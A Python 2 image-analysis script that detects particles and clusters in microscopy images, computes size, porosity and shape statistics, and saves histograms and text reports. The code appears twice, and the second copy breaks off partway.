#--------------------------- modifiable constants -----------------------------
_NAME_OF_CREATED_DIRECTORY = "filtered_results"
_NAME_OF_CREATED_TEXTFILE = "Data"
_NAME_OF_CREATED_TEXTFILE2 = "Datalists"
_NAME_OF_PARTICLES_IMAGE = "particles.jpg"
_NAME_OF_EDGES_IMAGE = "edges.jpg"
_NAME_OF_CLUSTER_IMAGE = "clusters.jpg"
_NAME_OF_PDF_FILE = "histo"
_PATH_TO_DEFAULT_DIRECTORY_FOR_THE_DIALOG = ".."
_EROSIONFACTOR = 7
_CONVERSIONFACTOR_FOR_PIXEL = 1000. / 375.
_DILATIONFACTOR_TO_FIND_CLUSTER = 8
_NUMBER_OF_HISTO_BARS = 15
#------------------------------------------------------------------------------
from os import listdir, mkdir, path as path_file
print "Start",
import cv2
import numpy as np
from timeit import default_timer
from mahotas import otsu, rank_filter
print ".",
from scipy import ndimage
from skimage.morphology import label #measure
print "\b.",
from skimage.morphology import watershed
from skimage.feature import peak_local_max
from skimage.segmentation import relabel_sequential
print "\b."
import matplotlib.pyplot as plt
from matplotlib.backends.backend_pdf import PdfPages
from scipy.stats import lognorm
from warnings import simplefilter
def filterImage(image):
"""
Filters the given image and returns a binary representation of it.
"""
# otsu to bring out edges
t_loc_otsu = otsu(image[:, :, 1])
loc_otsu = np.zeros_like(image, dtype=np.bool)
loc_otsu[:, :, 1] = image[:, :, 1] <= t_loc_otsu + 5
image[loc_otsu] = 0
# bring out single particles and smooth the rest
foot = circarea(8)
green = rank_filter(image[:,:,1], foot, rank=44)
nonzero = green > 10
weak = (green > 20) & (green < green[nonzero].mean())
green[weak] += 40
# remove pollution
gray = cv2.medianBlur(green, ksize=13)
# black and white representation of particles and surroundings
binary = gray < 25
# dilatation and erosion
dilated1 = ndimage.binary_dilation(binary, iterations=6)
erosed = ndimage.binary_erosion(dilated1, iterations=_EROSIONFACTOR+3)
dilated = ndimage.binary_dilation(erosed, iterations=_EROSIONFACTOR)
return dilated
def circarea(val):
"""
Returns an array with an boolean circle with a diameter of val.
"""
size = val + 1
mid = val / 2
xx, yy = np.mgrid[:size, :size]
circle = (xx - mid) ** 2 + (yy - mid) ** 2
area = circle < circle[0, mid]
return area
def segmentationize(imageSe):
"""
Divides coherent forms of an image in smaller groups of type integer.
"""
# create an matrix of distances to the next sourrounding area
distance = ndimage.distance_transform_edt(imageSe, sampling=3)
erosed = ndimage.binary_erosion(imageSe, iterations=8).astype(imageSe.dtype)
distanceE = ndimage.distance_transform_edt(erosed, sampling=3)
distance += (2 * distanceE)
labels, num = label(imageSe, background=0, return_num='True')
sizes_image = ndimage.sum(imageSe, labels, range(num))
sizes_image = np.sort(sizes_image, axis=None)
pos = int(0.4 * num)
areal = int(sizes_image[pos] ** 0.5)
if areal <= 10:
areal = 10
elif (areal % 2) != 0:
areal += 1
footer = circarea(areal) # draw circle area
# find the positions of the maxima from the distances
local_maxi = peak_local_max(distance, indices=False, footprint=footer, labels=imageSe)
markers = label(local_maxi)
# watershed algorithm starts at the maxima and returns labels of particles
simplefilter("ignore", FutureWarning) # avoid warning in watershed method
labels_ws = watershed(-distance, markers, mask=imageSe)
simplefilter("default", FutureWarning)
return labels, labels_ws, local_maxi
def saveEdges(binary, name):
"""
Creates an image where you only see the edges of the particles.
"""
dilatedForSobel = binary.astype(np.int)
dilatedForSobel[binary] = 255
dx = ndimage.sobel(dilatedForSobel, 0) # horizontal derivative
dy = ndimage.sobel(dilatedForSobel, 1) # vertical derivative
mag = np.hypot(dx, dy) # magnitude
cv2.imwrite(name+"_"+_NAME_OF_EDGES_IMAGE, mag)
def analyseParticles(connectedParticles, binary, newlabels, numberOfParticle):
"""
Calculates the solid fraction and the specific surface.
"""
# count pixel per particle
sizespx0 = ndimage.sum(binary, newlabels, range(numberOfParticle))
sizespx = sizespx0[sizespx0 != 0]
# get shape factor of particles
fcirc = np.zeros(numberOfParticle)
for i in range(1,numberOfParticle):
actParticle = (newlabels == i).astype(np.uint8)
actParticle *= 255
new = np.zeros((actParticle.shape[0],actParticle.shape[1],3), dtype=np.uint8)
new[:,:,1] = actParticle
helper = cv2.cvtColor(new, cv2.COLOR_RGB2GRAY)
helper[helper > 0] = 255
helper = cv2.GaussianBlur(helper,(5,5),0)
helper = cv2.Canny(helper, 10, 200)
contours, hierarchy = cv2.findContours(helper, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)
arclength = cv2.arcLength(contours[0],True) # contours[0] because there is only 1 contour
area = sizespx0[i]
fcirc[i] = (4. * np.pi * area) / arclength**2
# conversion factor between pixel and µm²
pxArea = (_CONVERSIONFACTOR_FOR_PIXEL) ** 2
realSize = np.sum(sizespx)
fs = realSize * 100. / (binary.shape[0] * binary.shape[1])
# determine perimeter
perimeter = 0.
for i in range(connectedParticles.max()+1):
actParticle = (connectedParticles == i).astype(np.uint8)
actParticle *= 255
new = np.zeros((actParticle.shape[0],actParticle.shape[1],3), dtype=np.uint8)
new[:,:,1] = actParticle
helper = cv2.cvtColor(new, cv2.COLOR_RGB2GRAY)
helper[helper > 0] = 255
helper = cv2.GaussianBlur(helper,(5,5),0)
helper = cv2.Canny(helper, 10, 200)
contours, hierarchy = cv2.findContours(helper, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)
perimeter += cv2.arcLength(contours[0],True) # contours[0] because there is only 1 contour
so = (perimeter * _CONVERSIONFACTOR_FOR_PIXEL)/(realSize * pxArea)
return fs, so, sizespx * pxArea, fcirc
def analyseClusters(binary, newlabels):
"""
Calculates the sizes and porosities of the clusters.
"""
# dilate particles to find cluster
maxima = np.zeros_like(binary, dtype=np.bool)
dilated = ndimage.binary_dilation(binary, iterations=_DILATIONFACTOR_TO_FIND_CLUSTER)
labels, num = label(dilated, background=0, return_num=True)
pxArea = (_CONVERSIONFACTOR_FOR_PIXEL) ** 2
outputImage = labels.copy()
clusterAreas = np.zeros(num)
porosities = np.zeros(num)
circumference = np.zeros(num)
fcirc = np.zeros(num)
particlesPerCluster = np.zeros(num)
illegalIndex = []
for i in range(num):
cluster = labels == i
cluster = ndimage.binary_fill_holes(cluster)
helper = np.zeros_like(newlabels)
helper[cluster] = newlabels[cluster]
newLabel, particleNum = label(helper, background=0, return_num=True)
particlesPerCluster[i] = particleNum
particleArea = float(np.sum(binary[cluster].astype(np.int)))
# cluster area and porosity
outputImage[cluster] = i
helper = ndimage.binary_erosion(cluster, iterations=_DILATIONFACTOR_TO_FIND_CLUSTER-3, border_value=1)
helper = ndimage.binary_erosion(helper, iterations=3, border_value=0)
fl = float(np.sum(helper[cluster].astype(np.int)))
clusterAreas[i] = fl * pxArea
porosity = (fl - particleArea)/ fl
porosity = porosity if porosity >= 0 else 0.0 # porosity can not be less than 0
porosities[i] = porosity
# circumference
new = np.zeros((helper.shape[0],helper.shape[1],3), dtype=np.uint8)
new[:,:,1] = helper
gray = cv2.cvtColor(new, cv2.COLOR_RGB2GRAY)
gray[gray > 0] = 255
blur = cv2.GaussianBlur(gray,(5,5),0)
gray = cv2.Canny(blur, 10, 200)
contours, hierarchy = cv2.findContours(gray, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)
arclength = 0
M = cv2.moments(contours[0])
cx = int(M['m10']/M['m00'])
cy = int(M['m01']/M['m00'])
maxima[cy,cx] = True
for con in contours:
arclength += cv2.arcLength(con,True)
circumference[i] = arclength * _CONVERSIONFACTOR_FOR_PIXEL
fcirc[i] = (4. * np.pi * fl) / arclength**2
if fcirc[i] > 1.0: # fcirc can not be greater than 1
illegalIndex.append(i)
fcirc = np.delete(fcirc, illegalIndex)
clusterData = {'areas':clusterAreas,'circ':circumference,'ppc':particlesPerCluster,'fcirc':fcirc,'porosities':porosities}
# indicate discovered clusters
outputImage += 1 # to get the right colours
integratedMax = outputImage.copy()
maxima1 = ndimage.binary_dilation(maxima, iterations=6).astype(maxima.dtype)
integratedMax[maxima1] = (outputImage.max() + 50)
Shift = (integratedMax != 0)
integratedMax[Shift] += 20
return integratedMax, clusterData, num
def getHistoData(diameter, particleArea, clusterData, particleFcirc):
"""
Returns all Data needed to create the histograms.
"""
units = {'mu':'$\mathrm{\mathsf{\mu m}}$', 'mu2':'$\mathrm{\mathsf{\mu m^2}}$', ' ':''}
histoData = []
histoData.append({'data':diameter, 'title':'Diameters of particles'})
histoData[-1].update({'xlabel':'Diameter ['+units['mu']+']', 'unit':units['mu']})
histoData.append({'data':particleArea, 'title':'Sizes of particles'})
histoData[-1].update({'xlabel':'Size ['+units['mu2']+']', 'unit':units['mu2']})
histoData.append({'data':clusterData['areas'], 'title':'Areas of clusters'})
histoData[-1].update({'xlabel':'Area ['+units['mu2']+']', 'unit':units['mu2']})
histoData.append({'data':clusterData['circ'], 'title':'Circumferences of clusters'})
histoData[-1].update({'xlabel':'Circumference ['+units['mu']+']', 'unit':units['mu']})
histoData.append({'data':clusterData['ppc'], 'title':'Number of particles per Cluster'})
histoData[-1].update({'xlabel':'Number of particles', 'unit':units[' ']})
histoData.append({'data':clusterData['fcirc'], 'title':'Shape factor of clusters'})
histoData[-1].update({'xlabel':'Shape factor', 'unit':units[' ']})
histoData.append({'data':clusterData['porosities'], 'title':'Porosity of clusters'})
histoData[-1].update({'xlabel':'Porosity', 'unit':units[' ']})
histoData.append({'data':particleFcirc, 'title':'Shape factor of particles'})
histoData[-1].update({'xlabel':'Shape factor', 'unit':units[' ']})
return histoData
def factorize(distri, binlength):
"""
Helper function for createHisto.
"""
INTarea = 0
for ns in distri:
INTarea += ns * float(binlength)
return INTarea
def createHisto(A, title='', xlabel='', unit=''):
"""
Generates one histogram of the given data.
"""
fig = plt.figure()
ax = plt.subplot(111)
n, bins, patches = plt.hist(A, _NUMBER_OF_HISTO_BARS, range=(0, A.max()), normed=0, \
weights=np.zeros_like(A)+1./A.size, facecolor='cyan', alpha=0.4, label=' ')
# set min and max values to return
values = {}
values['min'] = A.min()
values['minrf'] = n[np.nonzero(n)][0]
values['max'] = A.max()
values['maxrf'] = n[-1]
numbers = title+"\nx: "+str(bins[1:])+"\ny: "+str(n)+"\n\n"
# 'best fit' line
shape, loc, scale = lognorm.fit(A, floc=0) # Fit a curve to the variates
x = np.linspace(0, 1.2 * A.max(), num=500)
# scaling
binlength = bins[1] - bins[0]
alpha = factorize(n, binlength)
# plot functions
simplefilter("ignore", RuntimeWarning) # avoid warning in this method
plt.plot(bins[1:], n, 'c^', alpha=0.5, label='Distribution')
plt.plot(x, alpha * (lognorm.pdf(x, shape, loc=0, scale=scale)), 'c--', label='Fit')
axe = plt.axis()
newaxe =(axe[0], 1.2 * A.max(), axe[2], axe[3])
plt.axis(newaxe)
plt.title(title)
plt.ylabel(u'Relative frequency ' + r'$\left[\mathrm{\mathsf{ \frac{N}{\Sigma N} }}\right]$')
plt.xlabel(xlabel)
simplefilter("default", RuntimeWarning)
# position the legend
handles, labels = ax.get_legend_handles_labels()
indexL3 = labels.index(' ')
labelsL3 = [labels[indexL3]]
handlesL3 = [handles[indexL3]]
del labels[indexL3]
del handles[indexL3]
l1 = plt.legend(handlesL3, labelsL3, prop={'size':12}, bbox_to_anchor=(0.72, 0.99), loc=2, frameon=0)
plt.legend(handles, labels, prop={'size':12}, bbox_to_anchor=(0.72, 0.99), loc=2, frameon=0)
plt.gca().add_artist(l1)
currentaxis = fig.gca()
legendText = '$\mathrm{\mathsf{\mu =}}$ %4.2f '+unit+'\n$\mathrm{\mathsf{\sigma =}}$ %4.2f '+unit
plt.text(0.96, 0.86, legendText % (scale, (shape * scale)), horizontalalignment='right', \
verticalalignment='top', transform=currentaxis.transAxes)
plt.minorticks_on()
return fig, values, numbers
def saveHistos(histoData, resultDir, imageName):
"""
Creates histos from the given data and saves them in the specified directory.
"""
numbersText = ""
pdf = PdfPages(resultDir+imageName+"_"+_NAME_OF_PDF_FILE+".pdf")
for data in histoData:
fig, values, numbers = createHisto(data['data'], data['title'], data['xlabel'], data['unit'])
pdf.savefig(fig)
plt.close()
numbersText += numbers
if data['title'] == 'Shape factor of clusters':
shapeData = values
pdf.close()
return shapeData, numbersText
def getMeanData(diameter, clusterData, particleFcirc):
"""
Calculates the mean values and returns a dictionary containing these.
"""
mean = {}
mean['diameter'] = diameter.mean()
mean['area'] = np.pi * mean['diameter']**2 / 4.
mean['clusterArea'] = clusterData['areas'].mean()
mean['circ'] = clusterData['circ'].mean()
mean['particlesPerCluster'] = clusterData['ppc'].mean()
mean['fcirc'] = clusterData['fcirc'].mean()
mean['porosity'] = clusterData['porosities'].mean()
mean['pfcirc'] = particleFcirc.mean()
return mean
def getText(imageName, particleNum, clusterNum, so, fs, meanData, shapeData):
"""
Generates a string for the textfile.
"""
text = str(imageName)
text += "\nNumber of particles: "+str(particleNum)
text += "\nMean particle diameter: "+str(meanData['diameter'])+" µm"
text += "\nMean particle area: "+str(meanData['area'])+" µm²"
text += "\nSpecific surface: "+str(so)+" 1/µm"
text += "\nSolid fraction: "+str(fs)+" %"
text += "\nNumber of clusters: "+str(clusterNum)
text += "\nMean cluster porosity: "+str(meanData['porosity'])
text += "\nMean cluster area: "+str(meanData['clusterArea'])+" µm²"
text += "\nMean Number of particles per cluster: "+str(meanData['particlesPerCluster'])
text += "\nMean cluster circumference: "+str(meanData['circ'])+" µm"
text += "\nMean shape factor of clusters: "+str(meanData['fcirc'])
text += "\n\tMinimum: "+str(shapeData['min'])+",\trel. freq.: "+str(shapeData['minrf'])
text += "\n\tMaximum: "+str(shapeData['max'])+",\trel. freq.: "+str(shapeData['maxrf'])
text += "\nMean shape factor of particles: "+str(meanData['pfcirc'])
return text
def evaluate_images(inputPath):
"""
Filters images and analyses them.
"""
start = default_timer()
resultDir = inputPath+"/"+_NAME_OF_CREATED_DIRECTORY
if not path_file.isdir(resultDir):
mkdir(resultDir)
resultDir += "/"
outputString = []
outputNumbers = []
for i, imageName in enumerate(listdir(inputPath)):
# read image
pathName = path_file.join(inputPath, imageName)
image = cv2.imread(pathName)
if image is None:
continue
print "\nImage:", imageName
name = ".".join(imageName.split(".")[:-1])
outputNumbers.append(imageName)
print "Filter in progress...",
dilated = filterImage(image)
print "done!"
# segmentation with watershed
print "Detecting particles...",
connectedParticles, segmented, maxima = segmentationize(dilated)
newlabels, fw, inv = relabel_sequential(segmented, offset=10)
particleNum = len(fw)
print "done!"
# indicate discovered particles
integratedMax = newlabels.copy()
maxima1 = ndimage.binary_dilation(maxima, iterations=6).astype(maxima.dtype)
integratedMax[maxima1] = (newlabels.max() + 50)
Shift = (integratedMax != 0)
integratedMax[Shift] += 20
binary = integratedMax > 0
plt.imsave(resultDir+name+"_"+_NAME_OF_PARTICLES_IMAGE, integratedMax, cmap=plt.cm.spectral)
saveEdges(binary, resultDir+name)
# evaluate the particles
fs, so, particleArea, particleFcirc = analyseParticles(connectedParticles, binary, newlabels, particleNum)
diameter = ( particleArea * (4. / np.pi)) ** 0.5 # estimate diameter
# evaluate the clusters
print "Detecting clusters...",
clusterImage, clusterData, clusterNum = analyseClusters(binary, newlabels)
plt.imsave(resultDir+name+"_"+_NAME_OF_CLUSTER_IMAGE, clusterImage, cmap=plt.cm.spectral)
print "done!"
# histograms
print "Create histograms...",
histoData = getHistoData(diameter, particleArea, clusterData, particleFcirc)
shapeData, numbersText = saveHistos(histoData, resultDir, name)
outputNumbers.append(numbersText)
print "done!"
# information for the text file
meanData = getMeanData(diameter, clusterData, particleFcirc)
text = getText(imageName, particleNum, clusterNum, so, fs, meanData, shapeData)
outputString.append(text)
# write data into text file
file = open(resultDir+_NAME_OF_CREATED_TEXTFILE+".txt", "w")
print >> file, "\n\n".join(outputString)
file.close()
file2 = open(resultDir+_NAME_OF_CREATED_TEXTFILE2+".txt", "w")
print >> file2, "\n\n".join(outputNumbers)
file2.close()
print "Time:", default_timer() - start
if __name__ == "__main__":
from Tkinter import Tk
from tkFileDialog import askdirectory
Tk().withdraw()
directory = askdirectory(initialdir=_PATH_TO_DEFAULT_DIRECTORY_FOR_THE_DIALOG)
print(directory)
if directory != "" and not path_file.isdir(directory):
print "\n\nThe specified directory doesn't exist!\n"
elif directory != "":
evaluate_images(directory)
| # -*- coding: utf-8 -*-
#! /usr/bin/python
#--------------------------- modifiable constants -----------------------------
_NAME_OF_CREATED_DIRECTORY = "filtered_results"
_NAME_OF_CREATED_TEXTFILE = "Data"
_NAME_OF_CREATED_TEXTFILE2 = "Datalists"
_NAME_OF_PARTICLES_IMAGE = "particles.jpg"
_NAME_OF_EDGES_IMAGE = "edges.jpg"
_NAME_OF_CLUSTER_IMAGE = "clusters.jpg"
_NAME_OF_PDF_FILE = "histo"
_PATH_TO_DEFAULT_DIRECTORY_FOR_THE_DIALOG = ".."
_EROSIONFACTOR = 7
_CONVERSIONFACTOR_FOR_PIXEL = 1000. / 375.
_DILATIONFACTOR_TO_FIND_CLUSTER = 8
_NUMBER_OF_HISTO_BARS = 15
#------------------------------------------------------------------------------
from os import listdir, mkdir, path as path_file
print "Start",
import cv2
import numpy as np
from timeit import default_timer
from mahotas import otsu, rank_filter
print ".",
from scipy import ndimage
from skimage.morphology import label #measure
print "\b.",
from skimage.morphology import watershed
from skimage.feature import peak_local_max
from skimage.segmentation import relabel_sequential
print "\b."
import matplotlib.pyplot as plt
from matplotlib.backends.backend_pdf import PdfPages
from scipy.stats import lognorm
from warnings import simplefilter
def filterImage(image):
"""
Filters the given image and returns a binary representation of it.
"""
# otsu to bring out edges
t_loc_otsu = otsu(image[:, :, 1])
loc_otsu = np.zeros_like(image, dtype=np.bool)
loc_otsu[:, :, 1] = image[:, :, 1] <= t_loc_otsu + 5
image[loc_otsu] = 0
# bring out single particles and smooth the rest
foot = circarea(8)
green = rank_filter(image[:,:,1], foot, rank=44)
nonzero = green > 10
weak = (green > 20) & (green < green[nonzero].mean())
green[weak] += 40
# remove pollution
gray = cv2.medianBlur(green, ksize=13)
# black and white representation of particles and surroundings
binary = gray < 25
# dilatation and erosion
dilated1 = ndimage.binary_dilation(binary, iterations=6)
erosed = ndimage.binary_erosion(dilated1, iterations=_EROSIONFACTOR+3)
dilated = ndimage.binary_dilation(erosed, iterations=_EROSIONFACTOR)
return dilated
def circarea(val):
"""
Returns an array with an boolean circle with a diameter of val.
"""
size = val + 1
mid = val / 2
xx, yy = np.mgrid[:size, :size]
circle = (xx - mid) ** 2 + (yy - mid) ** 2
area = circle < circle[0, mid]
return area
def segmentationize(imageSe):
"""
Divides coherent forms of an image in smaller groups of type integer.
"""
# create an matrix of distances to the next sourrounding area
distance = ndimage.distance_transform_edt(imageSe, sampling=3)
erosed = ndimage.binary_erosion(imageSe, iterations=8).astype(imageSe.dtype)
distanceE = ndimage.distance_transform_edt(erosed, sampling=3)
distance += (2 * distanceE)
labels, num = label(imageSe, background=0, return_num='True')
sizes_image = ndimage.sum(imageSe, labels, range(num))
sizes_image = np.sort(sizes_image, axis=None)
pos = int(0.4 * num)
areal = int(sizes_image[pos] ** 0.5)
if areal <= 10:
areal = 10
elif (areal % 2) != 0:
areal += 1
footer = circarea(areal) # draw circle area
# find the positions of the maxima from the distances
local_maxi = peak_local_max(distance, indices=False, footprint=footer, labels=imageSe)
markers = label(local_maxi)
# watershed algorithm starts at the maxima and returns labels of particles
simplefilter("ignore", FutureWarning) # avoid warning in watershed method
labels_ws = watershed(-distance, markers, mask=imageSe)
simplefilter("default", FutureWarning)
return labels, labels_ws, local_maxi
def saveEdges(binary, name):
"""
Creates an image where you only see the edges of the particles.
"""
dilatedForSobel = binary.astype(np.int)
dilatedForSobel[binary] = 255
dx = ndimage.sobel(dilatedForSobel, 0) # horizontal derivative
dy = ndimage.sobel(dilatedForSobel, 1) # vertical derivative
mag = np.hypot(dx, dy) # magnitude
cv2.imwrite(name+"_"+_NAME_OF_EDGES_IMAGE, mag)
def analyseParticles(connectedParticles, binary, newlabels, numberOfParticle):
"""
Calculates the solid fraction and the specific surface.
"""
# count pixel per particle
sizespx0 = ndimage.sum(binary, newlabels, range(numberOfParticle))
sizespx = sizespx0[sizespx0 != 0]
# get shape factor of particles
fcirc = np.zeros(numberOfParticle)
for i in range(1,numberOfParticle):
actParticle = (newlabels == i).astype(np.uint8)
actParticle *= 255
new = np.zeros((actParticle.shape[0],actParticle.shape[1],3), dtype=np.uint8)
new[:,:,1] = actParticle
helper = cv2.cvtColor(new, cv2.COLOR_RGB2GRAY)
helper[helper > 0] = 255
helper = cv2.GaussianBlur(helper,(5,5),0)
helper = cv2.Canny(helper, 10, 200)
contours, hierarchy = cv2.findContours(helper, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)
arclength = cv2.arcLength(contours[0],True) # contours[0] because there is only 1 contour
area = sizespx0[i]
fcirc[i] = (4. * np.pi * area) / arclength**2
# conversion factor between pixel and µm²
pxArea = (_CONVERSIONFACTOR_FOR_PIXEL) ** 2
realSize = np.sum(sizespx)
fs = realSize * 100. / (binary.shape[0] * binary.shape[1])
# determine perimeter
perimeter = 0.
for i in range(connectedParticles.max()+1):
actParticle = (connectedParticles == i).astype(np.uint8)
actParticle *= 255
new = np.zeros((actParticle.shape[0],actParticle.shape[1],3), dtype=np.uint8)
new[:,:,1] = actParticle
helper = cv2.cvtColor(new, cv2.COLOR_RGB2GRAY)
helper[helper > 0] = 255
helper = cv2.GaussianBlur(helper,(5,5),0)
helper = cv2.Canny(helper, 10, 200)
contours, hierarchy = cv2.findContours(helper, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)
perimeter += cv2.arcLength(contours[0],True) # contours[0] because there is only 1 contour
so = (perimeter * _CONVERSIONFACTOR_FOR_PIXEL)/(realSize * pxArea)
return fs, so, sizespx * pxArea, fcirc
def analyseClusters(binary, newlabels):
"""
Calculates the sizes and porosities of the clusters.
"""
# dilate particles to find cluster
maxima = np.zeros_like(binary, dtype=np.bool)
dilated = ndimage.binary_dilation(binary, iterations=_DILATIONFACTOR_TO_FIND_CLUSTER)
labels, num = label(dilated, background=0, return_num=True)
pxArea = (_CONVERSIONFACTOR_FOR_PIXEL) ** 2
outputImage = labels.copy()
clusterAreas = np.zeros(num)
porosities = np.zeros(num)
circumference = np.zeros(num)
fcirc = np.zeros(num)
particlesPerCluster = np.zeros(num)
illegalIndex = []
for i in range(num):
cluster = labels == i
cluster = ndimage.binary_fill_holes(cluster)
helper = np.zeros_like(newlabels)
helper[cluster] = newlabels[cluster]
newLabel, particleNum = label(helper, background=0, return_num=True)
particlesPerCluster[i] = particleNum
particleArea = float(np.sum(binary[cluster].astype(np.int)))
# cluster area and porosity
outputImage[cluster] = i
helper = ndimage.binary_erosion(cluster, iterations=_DILATIONFACTOR_TO_FIND_CLUSTER-3, border_value=1)
helper = ndimage.binary_erosion(helper, iterations=3, border_value=0)
fl = float(np.sum(helper[cluster].astype(np.int)))
clusterAreas[i] = fl * pxArea
porosity = (fl - particleArea)/ fl
porosity = porosity if porosity >= 0 else 0.0 # porosity can not be less than 0
porosities[i] = porosity
# circumference
new = np.zeros((helper.shape[0],helper.shape[1],3), dtype=np.uint8)
new[:,:,1] = helper
gray = cv2.cvtColor(new, cv2.COLOR_RGB2GRAY)
gray[gray > 0] = 255
blur = cv2.GaussianBlur(gray,(5,5),0)
gray = cv2.Canny(blur, 10, 200)
contours, hierarchy = cv2.findContours(gray, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)
arclength = 0
M = cv2.moments(contours[0])
cx = int(M['m10']/M['m00'])
cy = int(M['m01']/M['m00'])
maxima[cy,cx] = True
for con in contours:
arclength += cv2.arcLength(con,True)
circumference[i] = arclength * _CONVERSIONFACTOR_FOR_PIXEL
fcirc[i] = (4. * np.pi * fl) / arclength**2
if fcirc[i] > 1.0: # fcirc can not be greater than 1
illegalIndex.append(i)
fcirc = np.delete(fcirc, illegalIndex)
clusterData = {'areas':clusterAreas,'circ':circumference,'ppc':particlesPerCluster,'fcirc':fcirc,'porosities':porosities}
# indicate discovered clusters
outputImage += 1 # to get the right colours
integratedMax = outputImage.copy()
maxima1 = ndimage.binary_dilation(maxima, iterations=6).astype(maxima.dtype)
integratedMax[maxima1] = (outputImage.max() + 50)
Shift = (integratedMax != 0)
integratedMax[Shift] += 20
return integratedMax, clusterData, num
def getHistoData(diameter, particleArea, clusterData, particleFcirc):
"""
Returns all Data needed to create the histograms.
"""
units = {'mu':'$\mathrm{\mathsf{\mu m}}$', 'mu2':'$\mathrm{\mathsf{\mu m^2}}$', ' ':''}
histoData = []
histoData.append({'data':diameter, 'title':'Diameters of particles'})
histoData[-1].update({'xlabel':'Diameter ['+units['mu']+']', 'unit':units['mu']})
histoData.append({'data':particleArea, 'title':'Sizes of particles'})
histoData[-1].update({'xlabel':'Size ['+units['mu2']+']', 'unit':units['mu2']})
histoData.append({'data':clusterData['areas'], 'title':'Areas of clusters'})
histoData[-1].update({'xlabel':'Area ['+units['mu2']+']', 'unit':units['mu2']})
histoData.append({'data':clusterData['circ'], 'title':'Circumferences of clusters'})
histoData[-1].update({'xlabel':'Circumference ['+units['mu']+']', 'unit':units['mu']})
histoData.append({'data':clusterData['ppc'], 'title':'Number of particles per Cluster'})
histoData[-1].update({'xlabel':'Number of particles', 'unit':units[' ']})
histoData.append({'data':clusterData['fcirc'], 'title':'Shape factor of clusters'})
histoData[-1].update({'xlabel':'Shape factor', 'unit':units[' ']})
histoData.append({'data':clusterData['porosities'], 'title':'Porosity of clusters'})
histoData[-1].update({'xlabel':'Porosity', 'unit':units[' ']})
histoData.append({'data':particleFcirc, 'title':'Shape factor of particles'})
histoData[-1].update({'xlabel':'Shape factor', 'unit':units[' ']})
return histoData
def factorize(distri, binlength):
"""
Helper function for createHisto.
"""
INTarea = 0
for ns in distri:
INTarea += ns * float(binlength)
return INTarea
def createHisto(A, title='', xlabel='', unit=''):
"""
Generates one histogram of the given data.
"""
fig = plt.figure()
ax = plt.subplot(111)
n, bins, patches = plt.hist(A, _NUMBER_OF_HISTO_BARS, range=(0, A.max()), normed=0, \
weights=np.zeros_like(A)+1./A.size, facecolor='cyan', alpha=0.4, label=' ')
# set min and max values to return
values = {}
values['min'] = A.min()
values['minrf'] = n[np.nonzero(n)][0]
values['max'] = A.max()
values['maxrf'] = n[-1]
numbers = title+"\nx: "+str(bins[1:])+"\ny: "+str(n)+"\n\n"
# 'best fit' line
shape, loc, scale = lognorm.fit(A, floc=0) # Fit a curve to the variates
x = np.linspace(0, 1.2 * A.max(), num=500)
# scaling
binlength = bins[1] - bins[0]
alpha = factorize(n, binlength)
# plot functions
simplefilter("ignore", RuntimeWarning) # avoid warning in this method
plt.plot(bins[1:], n, 'c^', alpha=0.5, label='Distribution')
plt.plot(x, alpha * (lognorm.pdf(x, shape, loc=0, scale=scale)), 'c--', label='Fit')
axe = plt.axis()
newaxe =(axe[0], 1.2 * A.max(), axe[2], axe[3])
plt.axis(newaxe)
plt.title(title)
plt.ylabel(u'Relative frequency ' + r'$\left[\mathrm{\mathsf{ \frac{N}{\Sigma N} }}\right]$')
plt.xlabel(xlabel)
simplefilter("default", RuntimeWarning)
# position the legend
handles, labels = ax.get_legend_handles_labels()
indexL3 = labels.index(' ')
labelsL3 = [labels[indexL3]]
handlesL3 = [handles[indexL3]]
del labels[indexL3]
del handles[indexL3]
l1 = plt.legend(handlesL3, labelsL3, prop={'size':12}, bbox_to_anchor=(0.72, 0.99), loc=2, frameon=0)
plt.legend(handles, labels, prop={'size':12}, bbox_to_anchor=(0.72, 0.99), loc=2, frameon=0)
plt.gca().add_artist(l1)
currentaxis = fig.gca()
legendText = '$\mathrm{\mathsf{\mu =}}$ %4.2f '+unit+'\n$\mathrm{\mathsf{\sigma =}}$ %4.2f '+unit
plt.text(0.96, 0.86, legendText % (scale, (shape * scale)), horizontalalignment='right', \
verticalalignment='top', transform=currentaxis.transAxes)
plt.minorticks_on()
return fig, values, numbers
def saveHistos(histoData, resultDir, imageName):
"""
Creates histos from the given data and saves them in the specified directory.
"""
numbersText = ""
pdf = PdfPages(resultDir+imageName+"_"+_NAME_OF_PDF_FILE+".pdf")
for data in histoData:
fig, values, numbers = createHisto(data['data'], data['title'], data['xlabel'], data['unit'])
pdf.savefig(fig)
plt.close()
numbersText += numbers
if data['title'] == 'Shape factor of clusters':
shapeData = values
pdf.close()
return shapeData, numbersText
def getMeanData(diameter, clusterData, particleFcirc):
"""
Calculates the mean values and returns a dictionary containing these.
"""
mean = {}
mean['diameter'] = diameter.mean()
mean['area'] = np.pi * mean['diameter']**2 / 4.
mean['clusterArea'] = clusterData['areas'].mean()
mean['circ'] = clusterData['circ'].mean()
mean['particlesPerCluster'] = clusterData['ppc'].mean()
mean['fcirc'] = clusterData['fcirc'].mean()
mean['porosity'] = clusterData['porosities'].mean()
mean['pfcirc'] = particleFcirc.mean()
return mean
def getText(imageName, particleNum, clusterNum, so, fs, meanData, shapeData):
"""
Generates a string for the textfile.
"""
text = str(imageName)
text += "\nNumber of particles: "+str(particleNum)
text += "\nMean particle diameter: "+str(meanData['diameter'])+" µm"
text += "\nMean particle area: "+str(meanData['area'])+" µm²"
text += "\nSpecific surface: "+str(so)+" 1/µm"
text += "\nSolid fraction: "+str(fs)+" %"
text += "\nNumber of clusters: "+str(clusterNum)
text += "\nMean cluster porosity: "+str(meanData['porosity'])
text += "\nMean cluster area: "+str(meanData['clusterArea'])+" µm²"
text += "\nMean Number of particles per cluster: "+str(meanData['particlesPerCluster'])
text += "\nMean cluster circumference: "+str(meanData['circ'])+" µm"
text += "\nMean shape factor of clusters: "+str(meanData['fcirc'])
text += "\n\tMinimum: "+str(shapeData['min'])+",\trel. freq.: "+str(shapeData['minrf'])
text += "\n\tMaximum: "+str(shapeData['max'])+",\trel. freq.: "+str(shapeData['maxrf'])
